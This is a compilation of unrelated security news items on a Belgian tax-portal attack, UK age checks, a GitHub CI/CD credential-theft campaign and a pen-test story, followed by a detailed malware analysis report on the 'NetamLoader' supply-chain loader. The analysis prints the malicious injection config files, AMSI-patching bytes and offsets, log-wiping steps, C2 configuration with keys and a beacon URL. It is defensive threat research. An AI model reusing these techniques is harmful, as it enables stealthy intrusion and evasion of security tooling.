Belgium's finance and tax agency has pulled "several" digital services offline after a cyberattack on the organization. FOD Financiën confirmed the attack on Wednesday, saying that MyMinfin, the agency's main online tax portal, as well as other online services, are temporarily unavailable while they start the initial investigations. "This measure helps limit the risks and makes it possible to carry out the necessary technical interventions to ensure the security of our systems," it said in a public announcement. FOD Financiën added that "this has consequences for tax deadlines in the near future," referring to the October 31 extended deadline to submit tax filings for specific types of income, such as sole traders and earnings from foreign companies. The agency confirmed the deadline will be extended to November 16, by which time MyMinfin, the platform through which such filings would normally be submitted, should be back up and running. The detail offered up in the public statement reflects the early stage of the investigation; not much is known, although there is nothing to suggest data was compromised. "Data protection is a top priority for the FOD Financiën," it said. "At present, there are no indications that a data breach has occurred or that data has been compromised. This aspect is also being closely investigated and followed up. "In the meantime, a large part of our other applications remains available with full or partial functionality. We are closely monitoring the situation and doing everything we can to make the affected services available again as soon as possible." Spokesperson Francis Adyns told local news outlets that the attack was thwarted within hours, and that it was unable to gain access to applications or data. "The attack could not be sufficiently expanded within our environment to take over applications or gain access to data," he told Nieuwsblad. "Elements that were potentially infected were isolated. As a result, MyMinfin, Tax-on-web, and Biztax went offline, but the hacking was successfully stopped. "The various services must be restored in an isolated environment. This requires considerable time to realize, with the necessary caution to rule out new risks." ®

The UK’s comms watchdog has put forward four methods of checking netizens aren't kids – dubbed highly effective age assurance (HEAA) – as it prepares for the proposed under-16 social media ban. The regulator says some adults may not need to prove their over-16-ness to social media platforms that will make inferences about their age based on previous activity, but confirmed that "many" are likely to have to undergo the same verification process. Big Brother Watch's (BBW) Director Silkie Carlo said: "This plan for a government 'social media ban' is a national ID system by the back door. Both the government and Ofcom have admitted that children will get around the ban, which means the real effect will be normalizing adults and children alike to handing over their passports just to get online." Ofcom says four methods remain from the seven it initially outlined when the Online Safety Act (OSA) came into force last year. The seven were capable of verifying whether a subject was 18 years old, but there are fewer viable options for determining the age of 16-year-olds, it said today. The methods put forward include: Photo-ID matching: Checking information displayed on identity documents and analyzing the photo against a live image of the subject taken during the verification process Banking checks: An estimated 90 percent of 16-17-year-olds in the UK have a bank account, which they would have provided their identity documents to open. The information processed by the bank can be used to verify whether someone is aged 16 or older Digital ID services: An interesting entry, given how quickly these were circumvented once the OSA age-checking requirements came into force. These third-party services analyze a person’s photo once, and if it matches the age they claim to be, let them verify their age across other services Facial age estimation: A method that even Ofcom admitted isn’t quite reliable enough to be used on its own. The regulator said that online services can use technologies to analyze a subject’s facial features to determine their age. The same technologies also have a margin of error of a few years, so online services may wish to use a second method of HEAA to verify the results of this check. The three reserved for those aged 18 and above include credit card checks (only adults can have a credit card), mobile network checks (MNOs require proof of adulthood to remove content blocks), and email checks – using a subject’s email address to make educated guesses about their age based on the other types of services with which it is registered. Ofcom acknowledged that not every 16-year-old will have a form of photo ID, which is required for all four of its HEAA methods, so they will need to acquire one in order to access online services. It estimates that around 94 percent of 16-17-year-olds in the UK have a form of photo ID, such as a passport, driving licence, or an ID card certified by the Proof of Age Standards Scheme, and that around 150,000 have neither. BBW's Carlo added: "Hundreds of thousands of people without ID, who tend to be poorer people, and many more who don’t want to risk handing their passports over to foreign tech companies will be locked out of huge parts of the internet. "The plan will kill anonymity online, whilst the UK’s culture of speech policing is reaching a crisis point. The policy is painfully misguided, an Orwellian assault on free speech and privacy, and will make children no safer at all." 'Circumvention inevitable' Ofcom admitted that "the risk of circumvention cannot be entirely eliminated," as some children will find ways to bypass these age checks, no matter how fully they are implemented. It cited Australia sporadically in its announcement, a country that introduced an under-16 social media ban in December 2025, but has struggled with a large proportion of children devising ways to circumvent these checks. Ofcom said the UK government intends to adopt, but learn lessons from, Australia’s rollout, committing to implementing more robust measures that promote the ban’s aims. It said it has identified some mitigations that could be taken to counter circumvention, such as making it easier for users to report suspected underage social media users, and “using age inference models.” The regulator said it will closely monitor circumvention for the first 12 months after the ban is enforced to understand possible methods to prevent children from finding ways around the age checks. In May, nearly a year after the OSA’s age verification requirements kicked in, researchers found that the existing age checks proved largely ineffective at keeping under-18s away from adult content online. Some reported beating age checks with just a drawn-on moustache. England's Children's Commissioner, Dame Rachel de Souza, said recently that the OSA "has made absolutely no difference" to children’s ability to access potentially harmful online content. Commenting on today’s announcement, Ofcom chief exec Dame Melanie Dawes said that when the social media ban takes effect, it will take a whole-of-society approach to ensure the ban is upheld. ?This ban will shape the future of children’s lives online, so it’s important to get it right," she said. "It can work if social media firms do highly effective age checks properly, and we’ve set out ways that could be achieved. When it comes into force next year, we’ll be ready to take swift and firm action against any company that fails to comply. "We should expect that motivated children will seek to bypass the restrictions – just like alcohol laws can’t completely eradicate underage drinking – but there’ll be ways for platforms to mitigate this risk. This will be a huge cultural shift for our society, so it’ll take time to adjust, and everyone will have a part to play." The UK government is expected to outline the first set of regulations related to the under-16 social media ban by the end of the year, and Ofcom is in the process of developing draft guidance for platforms. ®

EXCLUSIVE Researchers identified at least 83 attacks against 61 public GitHub repositories, including popular open source projects such as Google LangExtract, Trivy, Brave browser, and MLflow, in what they suspect is a coordinated campaign to execute commands in CI/CD environments and steal credentials and access tokens. It all happened very quickly, the Radware threat hunters said in an exclusive interview with The Register. Most (77) of the malicious items were published during a 43-minute time span on September 1, with the remaining six occurring within the next two minutes. “Our guess is that the final aim was a supply-chain attack in which the attacker gains credentials for the repo, and then he has the power to change the contents – the code – as he wishes” and then push the malicious changes to others, Radware VP and researcher Gabi Nakibly told The Register. Nakibly and fellow Radware researcher Zvika Babo say they suspect a single individual is behind this supply chain campaign. This attacker used 74 different GitHub accounts, many of which had legitimate development histories, meaning they were likely compromised. "Considering that dozens of accounts posted the same type of payload, on the same day, within a narrow time window, and to the same infrastructure, it is reasonable to assess that the activity was coordinated,” the team wrote in research shared ahead of publication with The Register. A novel attack chain They discovered the campaign while investigating prompt injection in GitHub – and they told us the attack chain is part of what makes this supply-chain campaign novel, and extremely stealthy. First, the attacker publishes an issue, pull request, or comment containing malicious commands hidden in HTML comments. This ensures the content is not visible in the rendered page. Plus, a GitHub event – like a pull request or issue – can automatically trigger a workflow if the repository is configured to respond to that event, meaning the attacker can be pretty hands-off at this point. “The workflow automatically is triggered within a second, and if the workflow is indeed vulnerable, then the attack is executed successfully,” Nakibly said. The workflow incorporates attacker-controlled content directly into shell source code, and the shell executes the hidden, malicious command, which hoovers up environment variables and attempts to exfiltrate those to an attacker-controlled server. While the researchers examined logs from actual runs, and told us they found two cases containing evidence that the malicious command ran inside the automation environment, they can’t definitively say whether the attacker successfully obtained repository write permissions, modified source code, or compromised downstream software. But they're trying. “The big picture is that the attackers are trying to find every possible way to get inside the repos to get credentials,” Nakibly said. Plus, “the attacker doesn't need to compromise the repository or to have access to its codebase” to do this, Babo added. “Basically, every user with a GitHub account can try to run this attack – it's very easy to start this attack.” Which repos were affected? As of October 13, the threat hunters identified 83 GitHub items with a verified payload across 61 different repositories. The repos span AI frameworks, security tools, development infrastructure, databases, and other widely used open source software projects. The Radware report lists agno-agi/agno (42.7K stars), ToolJet/ToolJet (41.1K), google/langextract (38.9K), aquasecurity/trivy (38.4K), CopilotKit/CopilotKit (38K), and podman-container-tools/podman (33K), among the most popular. Other notable targets included QwenLM/qwen-code (28.5K), mlflow/mlflow (28.4K), discordjs/discord.js (26.8K), cilium/cilium (25.6K), brave/brave-browser (23.9K), dotnet/maui (23.3K), Homebrew/homebrew-cask (22.2K), github/docs (21K), apache/doris (16K), and PX4/PX4-Autopilot (12.8K). “These projects are used by thousands of organizations," Babo said. The researchers disclosed their findings to all of the projects’ maintainers, and most of the repositories were closed or fixed, but they can’t confirm that all of them were. This campaign follows several earlier supply chain attacks against open source security and dev tools as attackers increasingly look for new methods to steal credentials and other secrets. “There is no way to stop the attackers from attempting,” Nakibly said. “The only way is to make sure that the workflow code is resilient, and not vulnerable to such attacks." The researchers recommend applying least-privilege access to CI/CD workflows, and separating as much as possible workflows triggered by external events from jobs with elevated permissions. “Developers should treat external content as untrusted, and also limit the secrets and environment variables that are available to the workflow,” Babo said. ®

Welcome back to PWNED, in which The Reg offers cautionary tales from folks who’ve left their doors wide open to attackers and lived to tell the tale. This week’s misadventure involves unpatched older machines and a password that was supposed to send a message to crims. Our story comes courtesy once again of leading red teamer and pen tester Dahvid Schloss of Suzu Labs. A client asked Schloss to visit a factory and check the servers there for security holes. The company had been hacked six months prior, made some adjustments, and wanted to make sure that they were bulletproof now. Schloss' mission, which he chose to accept, was to get domain admin rights. Schloss drove over to the factory where he noticed a number of Windows 7 servers were connected to the CNC milling machines, even though Windows 10 was by then Microsoft's supported desktop OS. This was to be expected, as companies with proprietary software often use legacy OSes for fear of breaking apps. At first, Schloss had a hard time breaking in because most of the servers were not connected to the domain. So there was no point in his running the EternalBlue zero-day that would have let him in. “So I've been looking through these and most of them had been disconnected from the domain, so it's the right move,” he said. “Like, yeah, you could run EternalBlue on the network, but you really weren't going to be able to get anywhere with it, cuz you get on the device and what you find: you dump LSASS [the Windows Local Security Authority Subsystem Service], you’re like ‘All right, there’s local admin creds, but the local admin creds on those devices were different from the local admin creds on the majority of workstations.” Finally, Schloss went onto one of the servers that was connected to milling machines and found that it was connected to the network and on the domain. It was vulnerable to EternalBlue and he went and dumped LSASS and found a pair of creds from WDigest, one of which looked like an admin account. But Schloss thought that it must not be a legitimate admin account when he read the password : “heyhackergof***yourself,” but written in leet speak [l337 5p34k]. The resulting string was a strong password, but Schloss assumed that the admins were playing a game with him and left this credential there for him to find. Schloss assumed it wouldn't work and sat on it for a week. During a briefing he had with the IT crew, he presented his findings and then asked who set up the admin account with this funny password. “You could see everyone kind of looking at the senior manager of IT like ‘that was you, wasn’t it,’” Schloss explained. “He’s kind of got this face. I’m like ‘oh shit, like what?’ Turns out that ‘heyhackergof***yourself’ was the actual password for his admin account." On Monday, Schloss tried the username and password combo and, lo and behold, it gave him complete control of the entire network. He was then able to get access to other passwords and many of them were also insults directed at potential hackers. Schloss understood that the team was still angry about a breach they had suffered six months prior and, should they be breached again, wanted to give the finger to the hacker who did it. Unfortunately, their system was still vulnerable because of the outdated machine that was hooked up to the domain and he was able to gain control. The lesson here is really to patch your systems and avoid using insecure legacy OSes whenever possible, because it was an old machine that let Schloss in, not a weak password. Indeed, “hackergof***yourself” in leet speak isn’t a terrible password, just an embarrassing one if it's exposed. ®

Introduction

A couple of months ago, our research revealed a highly sophisticated infection chain and a complex .NET assembly-loading framework built on XAML markup, which strongly indicates a supply-chain attack targeting a custom Windows build used exclusively by government entities in Asia. The malicious framework has been labeled NetamLoader; at present, no attribution to any known APT group has been established.

The sample came to light in the first half of 2026, when Kaspersky Security Network (KSN) issued a malware detection alert for a .config file using AppDomainManager injection to load arbitrary .NET assemblies. The file was packaged inside a CAB archive placed in the directory that stores Windows operating system update packages. Initial analysis of the CAB contents found no malicious code: most executables were legitimate components of the third-party patch management tool Patch My PC, and even the .NET assemblies used for the injection were Microsoft-signed. A later re-examination of the original .config file and the full loading process revealed the infection chain and framework described in this report.

Kaspersky’s products detect this threat as HEUR:Trojan.MSIL.NetamLoader.gen, Trojan.MSIL.Zapchast.*, and Trojan.Script.Agent.*.

Background

During routine threat hunting, KSN sent us a malware detection alert. The notification flagged a .config file that employed AppDomainManager injection to load arbitrary .NET assemblies. The file was compressed into a CAB archive named e4537a1762fcafd2fd96bfc825bad34f9db9a24d and saved in the folder that stores Windows operating system update packages. Below is the full path to this archive:

C:\Windows\SoftwareDistribution\Download\e4537a1762fcafd2fd96bfc825bad34f9db9a24d

Starting with this CAB archive, we uncovered a highly complex infection chain that uses a previously unknown advanced loading framework.

Initial infection

The CAB file contains the following seven files, which are extracted and placed in the path C:\Windows\SoftwareDistribution\Download\Install\:

Files compressed in the CAB file

Except for Resources.resx, none of the files contain malicious code. We did not observe how the CAB file was delivered to the victim; we only saw the process PatchMyPC-ScriptRunner.exe running with the following arguments:

C:\Windows\SoftwareDistribution\Download\Install\PatchMyPC-ScriptRunner.exe -updatepackage -applicationid=xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx

After the file is launched in this manner, the infection chain progresses to stage 1.

Stage 1

Starting with the execution of PatchMyPC-ScriptRunner.exe, which then served as a host process for loading several payloads, we identified a complex two‑stage loading mechanism with multiple steps. The overall flow of stage 1 is summarized in the diagram below.

Infection chain: Stage 1

Step 1

The AppDomainManager injection technique is used to load an arbitrary .NET assembly. With this mechanism, when PatchMyPC-ScriptRunner.exe runs, the accompanying configuration file PatchMyPC-ScriptRunner.exe.config in the same directory is loaded before the executable’s main function runs. Below is the content of PatchMyPC‑ScriptRunner.exe.config.

<?xml version="1.0" encoding="utf-8" ?> <configuration> <runtime> <appDomainManagerType value="Microsoft.ApplicationServer.Caching.DataCacheFactoryConfiguration"> </appDomainManagerType> <appDomainManagerAssembly value="Microsoft.HostIntegration.Connectors, Version=1.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35"> </appDomainManagerAssembly> <NGenAssemblyUsageLog enabled="0" /> </runtime> <startup> <supportedRuntime version="v4.0" sku=".NETFramework,Version=v4.6" /> </startup> </configuration>

According to the configuration file, the class Microsoft.ApplicationServer.Caching.DataCacheFactoryConfiguration from the Microsoft.HostIntegration.Connectors.dll module (a Microsoft‑signed assembly) is loaded. DataCacheFactoryConfiguration is the configuration class for the Windows Server AppFabric Cache Client, specifying the settings for a new cache client. When the configuration class is loaded, its instance first attempts to find and read the default configuration file, fabric.config, located in the same directory. The contents of fabric.config are shown below:

<?xml version="1.0" encoding="utf-8"?> <section name="foo"> <customType className="System.Resources.ResXResourceSet, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089(Resources.resx)" /> </section>

Step 2

The DataCacheFactoryConfiguration class has a design flaw that can be abused to load arbitrary assemblies. The fabric.config file is meticulously crafted. When the file is loaded, the DataCacheFactoryConfiguration instance examines its className attribute, loads the specified type (System.Resources.ResXResourceSet from the System.Windows.Forms assembly), and creates a ResXResourceSet instance, passing “Resources.resx” to its constructor for parsing.

In the .resx file, multiple layers of payloads – including several XAML files, .NET assemblies, and JSON data – are encoded, compressed, or encrypted (see the diagram below). Each layer is unpacked and loaded by the layer above it. Once a layer finishes its operation, the next layer is extracted and loaded. Below, we analyze each layer in the order in which it is loaded:

Multiple layers of payloads are compressed and encrypted in the .resx file

The Microsoft RESX schema defines the XML layout used by .resx files, which has a human-readable structure and can hold application resources: strings, images, icons, and serialized objects. The Resources.resx file contains a Base64‑encoded binary object that was serialized using the well‑known, highly vulnerable .NET BinaryFormatter class.

Base64-encoded serialized binary object in Resources.resx

Parsing this .resx file with ResXResourceSet causes the embedded Base64‑encoded binary payload to invoke BinaryFormatter.Deserialize(), triggering a deserialization vulnerability that enables a TypeConfuseDelegate attack. The TypeConfuseDelegate then invokes XamlReader.Parse(), which loads a XAML payload (named XAML-1) embedded within the binary object.

XAML is a markup language for building user interfaces in .NET applications, but its capabilities extend far beyond that. Using two built‑in objects, ObjectDataProvider and ResourceDictionary, logic equivalent to C# code can be expressed in an XML‑like syntax.

A code snippet of XAML-1

Step 3

The XAML-1 code acts as a loader for an embedded payload. The process is as follows:

1. Retrieve the full command line of the current host process PatchMyPC‑ScriptRunner.exe, converting all arguments to lowercase.
2. Generate the AES key by hashing the command‑line string with SHA‑256.
3. Decode the Base64 string embedded in XAML-1 into a binary array. Use the first 16 bytes of that array as the IV, then decrypt the remaining encrypted data with AES. The decrypted output is another piece of XAML code, which we refer to as XAML-2.
4. Load XAML-2 into memory using the .NET API System.Windows.Markup.XamlReader.Load().
5. If any exception occurs during decryption, trigger Environment.Exit(0), silently terminating the host process to prevent error messages that might reveal the attack.

Stage 2

XAML‑2 initiates stage 2 of the infection. The diagram below shows the overall flow of this stage.

Infection chain: Stage 2

XAML‑2 contains two embedded Base64‑encoded sections. These sections are actually two additional XAML files (referred to as XAML-2-1 and XAML-2-2) that were first compressed with ZIP and then encoded in Base64. After decoding and decompressing, XAML-2 loads each file into memory separately with XamlReader.Load().

A code snippet of XAML-2

XAML-2-1

The first file consists of 796 lines. Its sole purpose is to hijack a key AMSI API to bypass anti‑malware scanning.

Sensitive strings in XAML-2-1 are cut into tiny pieces

To avoid detection by anti‑malware signature scans, sensitive strings are split into very short fragments. When XAML-2-1 is loaded and parsed, the fragments are reassembled into the original string.

The key steps it takes to achieve its goal are as follows:

1. Check the OS architecture by verifying whether IntPtr.Size equals 8. If it does not, the host process isn’t 64‑bit, so abort the hijack operation.
2. Combine the split strings into a single CLSID GUID (fdb00e52-a214-4aa1-8fba-4357bb0072ec), then try to create an instance of the AMSI COM object using this GUID.
3. Patch the AMSI module.
   • Create a delegate for the runtime method Console.Clear() and then obtain its native function pointer. Next, patch the method by overwriting its first bytes in memory with the binary payload (41 C7 00 01 00 00 00 33 C0 C3).
   • Obtain the native pointer of the AMSI COM object with Marshal.GetIUnknownForObject(). From this pointer, read the address of its virtual method table and add 0x18 to reach another pointer that holds the address of the CAmsiAntimalware::Scan method.
   • Use VirtualProtect() to make the Scan() pointer writable, change its value from the address of the CAmsiAntimalware::Scan() method to the address of the patched Console.Clear(), and then restore the pointer’s original protection attributes. Once this step is complete, every scan returns AMSI_RESULT_CLEAN (value = 0).

One patch targets the Console.Clear() API, which resides in the memory space of an existing legitimate module, while the other modifies only the virtual tables of the AMSI module, allowing the malware to pass code integrity checks.

XAML-2-2

XAML-2-2 consists of two parts: a .NET module (the first loader, .NET 1 Loader) and a JSON data payload (the C2 configuration, JSON-1). Both components are compressed with ZIP and then encoded in Base64. XAML-2-2 first decodes and decompresses the .NET assembly .NET 1 Loader, then uses the Assembly.CreateInstance() API to create an instance of the .NET 1 Loader and passes the Base64‑encoded JSON-1 to the m.C() method of .NET 1 Loader as a parameter.

.NET 1 Loader

.NET 1 Loader decodes, decompresses, and parses JSON‑1. The decoded and decompressed JSON‑1 is shown below:

{ "p": "[Base64‑encoded JSON, which we call JSON‑1-p]" "c": "[Base64‑encoded JSON, which we call JSON‑1-c]" }

• JSON-1-c
  This JSON contains the configuration data that .NET 1 Loader uses to report the execution results of the loaded payload to the C2 server.
  sc false Flag. Determines whether to report the execution result of m.C(). When set to false, reporting to C2 is skipped. c null Reporting C2 server. The result returned by the m.C() method of .NET 1 Loader is sent to this server. tp null Unknown item, suspected to be a trusted SSL certificate. Thumbprint was used to verify this alleged C2 certificate. e null The AES key that encrypts the JSON result returned by the m.C() method of .NET 1 Loader.
• JSON-1-p
  JSON-1-p is a more complex configuration file. .NET 1 Loader parses its data to prepare and load the subsequent stages. The following configuration keys store the payloads:
  • oib: Base64‑encoded .NET 2 Plugin (PE file)
  • oub: Base64‑encoded XAML that invokes Exit(0)
  • ibk: AES key used to decrypt ibi
  • ibi: A Base64‑encoded collection of compressed, encrypted XAML templates used to build XAML-3. Detailed instructions for decrypting and assembling XAML‑3 are provided in the XAML‑3 section below.

  Other items are passed as C2 configuration to the .NET 2 Plugin at a later stage.

  [ { "c": [ { "cu": "https://openaigpt4v.com/model_v4/", "tp": "*", "rh": "" } ], "mib": 79200, "mab": 100800, "mis": 1200, "mas": 2400, "e": "9fT04e03tAiZAPogcDWt0w==", "ii": null, "aop": null, "oib": "TVqQAAMAAAAEAAAA//8AALgAAAAAA...", "oub": "PFJlc291cmNlRGljdGlvbmFyeS...", "wi": 100801, "ibk": "W7BHmIRBRY3FOIfWprbW/ZJh5GbPND3sY+qCBDY7O2A=", "ibi": "4pUDtQVbD6leQrDvtT3gaaCLec...", "de": false } ]

After obtaining the configuration, .NET 1 Loader proceeds with the following key steps:

1. Delete the update records from the system log related to the malicious update packages, along with the malicious files and cache files used in stage 1.
   • Delete malicious files extracted from the CAB
     PatchMyPC-ScriptRunner.exe.config fabric.config Resources.resx
   • Delete CLR usage logs and Windows system Prefetch cache files to eliminate evidence that could be used in forensic analysis.
     %LOCALAPPDATA%\Microsoft\CLR_v4.0\UsageLogs\PatchMyPC-ScriptRunner.exe.log %WINDIR%\Prefetch\PATCHMYPC-SCRIPTRUNNER.EXE-*.pf

   • Retrieve the files in the folders matching the pattern 20???? at the path below, where each file name starts with “20” followed by six more characters (e.g., 20260101). Read the files’ contents, filter out any lines containing the exact substring GetExtendedUpdateInfoHandler, and write the filtered content back to the log files. The path contains the keyword CmitUpdateAgent, which may be linked to a custom Windows 10 build used by a government in Asia.
     "%WINDIR%\Logs\CmitUpdateAgent\20????\20??????"

2. Reset a registry‑based exception‑state logging system by deleting the nine GUID keys under the path LocalMachine\SOFTWARE\Classes\appid\[specific_GUID] one at a time, along with all of their child subkeys. The algorithm that generates the GUID path is unique– it derives the GUID from the C2 URL– so each C2 server has its own distinct set of bound GUIDs. Of the nine GUIDs derived using this method, one indicates that an exception occurred, and the others are numbered 0 through 7.
    
   For example, when the malware catches exception code 129, it creates the registry subkey {bde7ddc2-1f6f-4397-a0df-ae7c7d67d65a} to indicate that an exception occurred. It then checks the bit mask, where 129 equals binary 10000001. Consequently, it creates the eighth subkey {74084115-433e-4fe8-8d01-41c48fbfeef6} and the first subkey {bf6f4bde-97db-4dcd-9546-7ebf10061519}.
3. Verify that each necessary configuration item exists in JSON-1-p, then validate some of its items against hardcoded values. If any item fails the check, halt the infection chain and submit the execution result to the reporting C2 server.
4. Verify that the current user is an administrator; if not, throw an exception with code 128.
5. Check whether the configuration item aop exists. If it does, Base64-decode its value, use the result as XAML-3, and skip to step 9.
6. Generate a unique malware instance ID for the configuration item ii by calling Guid.NewGuid().
7. Query the SusClientId value from the registry key SOFTWARE\Microsoft\Windows\CurrentVersion\WindowsUpdate. Then generate the value for the newly defined configuration item si by computing a GUID using the same algorithm as above. Use the concatenation of the retrieved SusClientId value and the byte sequence \x14\x43\x9B\x64 as the input data for the algorithm.
8. Parse JSON-1-p, extract the relevant items and their values, and convert them to XAML format. Next, follow the steps outlined in the XAML-3 section to generate the complex XAML script XAML-3.
9. Create a COM instance of WScript.Shell (CLSID: 41904400-BE18-11D3-A28B-00104BD35090) and retrieve the environment of the current process. Then set the COMPlus_ETWEnabled environment variable to 0 to prevent the CLR from registering the .NET ETW provider, which hides the associated events.
10. Use RPC to create a remote COM object (CLSID: ab8902b4-09ca-4bb6-b78d-a8f59079a8d5). Exploit it via an unknown binary object deserialization vulnerability and the TypeConfuseDelegate technique. Once the exploit succeeds, XAML-3 is loaded into the remote host process dllhost.exe. This is a covert method for initiating a new process that loads the malicious payload XAML‑3. This technique effectively separates the infection chain from its initial process, allowing it to bypass behavioral monitoring by security solutions such as EDR.
11. The execution result (in JSON format, shown below) is first AES‑encrypted using the key from the item e. A randomly generated IV is prepended to the encrypted data, and the result is then Base64‑encoded.
    [ { // Fixed value "_": "0202097a-5c1e-460d-b5e0-030b9756b242", // Error number: 0 indicates successful execution "e": "0 ", // Value of config "ii" "i": "94aafd58-c00c-402a-aae6-858b4486a1a4" } ]

12. POST the encrypted and encoded result to the reporting C2 server.

XAML-3

XAML-3 is a critical payload that, after leaving the original process tree, is loaded and executed in a different process: dllhost.exe. XAML-3 is generated from template XAML-3. As shown in the diagram below, the template is decoded and decrypted using the value of the ibi item in JSON-1-p. In addition to template XAML‑3, the final decryption includes two other XAML templates (template __P1__ and template __P2__).

The multi-layer encryption structure of “ibi”

The AES key is taken from the config item ibk. The first 16 bytes of the encrypted binary data serve as AES IV 1. After decryption, the data consists of a simple header followed by AES IV 2.

Template XAML‑3 includes two string placeholders, __P1__ and __P2__. Each placeholder is replaced with compressed, Base64‑encoded XAML (template __P1__ and XAML‑P2).

The content of template __P1__ is identical to XAML-2-1 and bypasses AMSI in the new process. XAML-P2 is generated from the template __P2__.

Some of the item values in template __P2__ come from the C2 configuration data in JSON-1-p. Within template __P2__, the placeholder __P__ is replaced with a compressed, encoded payload – the .NET 2 Plugin – which is decoded from the oib value in JSON-1-p. After completing all the operations, the template __P2__ becomes XAML-P2.

The C2 configuration in XAML‑P2 is shown below:

Item Value Description ii 94aafd58-c00c-402a-aae6-858b4486a1a4 Unique ID for this malware instance (if the ii value in the configuration is null, the malware will generate a random one). ec 9fT04e03tAiZAPogcDWt0w== Base64-encoded AES master key: same as item e in JSON-1-p, used for C2 traffic encryption and authentication. bi 79200-100800 Actual polling delay if the C2 doesn’t respond: 79200-100800 seconds (22-28 hours) – the code parses the values and multiplies them by 1000 to get milliseconds. This item indicates that the malware uses very long polling intervals. is 1200-2400 Actual delay: 1200-2400 seconds (20-40 minutes) – a long delay before the initial connection to the C2 server, used for sandbox evasion. u Base64encodedXAML A short XAML snippet that calls Environment.Exit(0) wi 100801 Actual initial wait: 100801 seconds (~28 hours). The malware waits approximately 28 hours after initial execution and then exits the process. de False Local exception logging switch: when set to False, exception logging is enabled. si 41bd7f37-c3f6-4a9e-b2f3-5363e9a2c095 UID: generated using a custom method based on the registry key value SusClientId. cu https://openaigpt4vcom/model_v4/ Command-and-control (C2) server URL taken from the C2 server list. tp * Trusted SSL certificate thumbprint: * indicates that any certificate is trusted (disabling SSL pinning/validation). This entry also appears in a list, corresponding to the C2 item cu. rh   Additional route header/data: not configured in this instance.

When dllhost.exe loads XAML-3, it loads template __P1__ and XAML-P2 one by one. When XAML-P2 loads, it retrieves the current domain via AppDomain.GetCurrentDomain() and then stores the values of the C2 configuration items (cu, tp, and rh; see the table above) in that domain using AppDomain.SetData(). Finally, XAML-P2 decodes and decompresses the embedded payload (.NET 2 Plugin), loads the .NET 2 Plugin into the current domain, and then calls the plugin’s entry method, m.C().

.NET 2 Plugin

This payload is a .NET assembly (PE file). As discussed above, it is loaded by XAML-P2 into the host process dllhost.exe. In the plugin’s entry method m.C(), a thread is spawned to execute the malicious operations.

The following key steps are executed in this thread:

1. Configuration initialization: Load the C2 configuration from the current AppDomain’s data storage and assign it to the corresponding member variables.
2. Gather system information from the registry:
   • "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\NET Framework Setup\NDP\v4\full", Key="Version" "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion", Key="BuildLab"
   • Combine the queried values into a single string, for example: "4.7.03190\n17763.rs5_release.180914-1434". If any query fails, replace its result with a hyphen (“-“).
3. Clear the state of the exception‑state logging system: .NET 2 Plugin uses the same exception‑state logging system as the .NET 1 Loader.
   • Recursively delete 12 GUID subkeys from the registry. The algorithm that generates the GUID path is the same as the one used by .NET 1 Loader. The first eight GUIDs are the same as those that .NET 1 Loader attempted to remove. The remaining four GUIDs were generated using different integer seeds (integer seed = [From 1 to 4]|65536).
   • If steps 1 and 2 are completed successfully, generate a subkey using the integer seed 3|65536. Then create the following registry subkey:
   • "LocalMachine\SOFTWARE\Classes\appid\{ff259bcd-2f0a-44de-b34a-0092fec1d8a2} DllSurrogate = ""
4. Anti-analysis: Check whether the current host process is dllhost.exe by examining Environment.CommandLine.
5. Prevent the host process from exiting: Create a managed object and retrieve its IUnknown interface. Then call ole32.dll’s CoLockObjectExternal(IUnknown interface) to lock the object in memory, ensuring that the dllhost.exe process created by RPC is not released by the system.
6. Jitter delay: Before the initial request to the C2 server, wait for a random jitter delay of 20-40 minutes (set by the configuration item “is”=”1200-2400”) to evade sandboxes by causing them to time out.
7. Set maximum execution time: Create a timer that registers a callback function as a watchdog. The timer waits approximately 28 hours (100801 seconds, retrieved from the configuration item wi) before invoking the callback. The callback fetches the configuration item u, decodes its Base64‑encoded string, decompresses the output, and extracts a XAML snippet from the resulting data. It then loads this XAML, which ultimately triggers Environment.Exit(0).
8. Periodic polling:
   1. Retrieve the config items cu and ii to build the full URL https://openaigpt4v.com/model_v4/94aafd58-c00c-402a-aae6-858b4486a1a4
   2. Obtain the system proxy using three methods (see the Discovering proxies section below).
   3. Register an HTTPS callback (ServerCertificateValidationCallback) that verifies the server‑side X.509 certificate against the configuration value tp before establishing the connection.
   4. Then, combine the system information with additional details, such as whether the proxy is bypassed, whether it is using a proxy, and the current index in the C2 server list.
   5. Next, encrypt the combined data with AES (see the AES encryption diagram in the network traffic section for more details), and then encode the encrypted output in Base64.
      // Final HTTP request URL "https://openaigpt4v[.]com/model_v4/94aafd58-c00c-402a-aae6-858b4486a1a4?b=lM4V3VwrWtXBy4oBGUkXOHfxyLUlrT2hIZGn4C37W1Z3%2FeW1WURJqzaNLQhGFHsWxA2lpJHZSpd8VDLMOQRD%2FfsDswnomIrBpoaNzug3dOtrh1J2KIqZRmKx1TtQsxq1RAGu1y45rSKaPHm9s2HF8A%3D%3D&c=41bd7f37-c3f6-4a9e-b2f3-5363e9a2c095"

   6. Hijack the HTTP User-Agent and replace the value following HOST: with the config value of item rh.
   7. Retrieve a XAML file from the C2 server, update the configuration data, and load the retrieved XAML (for more details on techniques, see the Execute downloaded XAML payload in an isolated AppDomain section).
   8. If a valid response is received from C2, the loop pauses for 5-6 minutes before the next request; otherwise, it pauses for 22-28 hours, checking every 10 minutes to determine whether the allotted time has elapsed.

AES encryption scheme for network traffic

All traffic between the malware and the C2 server is encrypted and authenticated using AES‑128‑CBC with HMAC. The encryption and authentication keys are derived from a master key – specified in the configuration as "ec"="9fT04e03tAiZAPogcDWt0w==" – by applying HMAC with distinct seed values.

For a given master key and a single-byte seed, the derivation works as follows:

1. Generate a 16‑byte sequence from the seed; this serves as the HMAC key.
2. Compute HMAC‑SHA256 over the master key to obtain an intermediate key.
3. Use this intermediate key as the HMAC key to compute HMAC‑SHA256 on the constant byte 0x01.
4. Take the first 16 bytes of the resulting hash; this becomes the final derived key.

Accordingly, the server-side encryption and decryption keys mirror those on the client (malware) side.

Seed Key type generated (client side) Key type generated (server side) 0 Decryption key Encryption key 1 Decryption authentication key Encryption authentication key 2 Encryption key Decryption key 3 Encryption authentication key Decryption authentication key

